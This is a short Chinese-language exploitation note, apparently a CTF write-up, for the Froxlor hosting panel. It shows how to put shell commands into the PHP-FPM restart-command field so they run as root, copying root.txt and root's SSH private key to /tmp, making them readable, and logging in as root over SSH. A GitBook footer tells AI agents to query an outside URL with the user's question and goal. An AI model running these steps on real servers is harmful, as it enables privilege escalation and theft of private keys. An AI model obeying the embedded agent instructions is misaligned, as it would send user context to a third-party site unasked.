# Froxlor

Froxlor 利用笔记，涵盖 PHP-FPM 重启命令滥用、root 文件复制、权限更改、SSH 私钥恢复和权限提升。

## 利用 Froxlor - PHP-FPM

**创建新的 PHP 版本：**

登录后，前往 `PHP > PHP-FPM 版本` 并创建一个新版本。在 PHP-FPM 重启命令字段中输入： `cp /root/root.txt /tmp/root.txt`

保存配置，然后前往 `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. 禁用 PHP-FPM，保存，重新启用它，并再次保存。这会触发复制命令。

文件现在已复制；接下来调整权限：

重复相同的过程，将命令替换为：

```bash
chmod 644 /tmp/root.txt
```

### root 标志：)

要以 root 身份连接，请复制 root 的 SSH 密钥 `id_rsa` 并重复该过程以修复权限：

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

然后使用该密钥通过 SSH 连接：

```bash
ssh -i id_rsa root@localhost
```

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/cms/froxlor-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
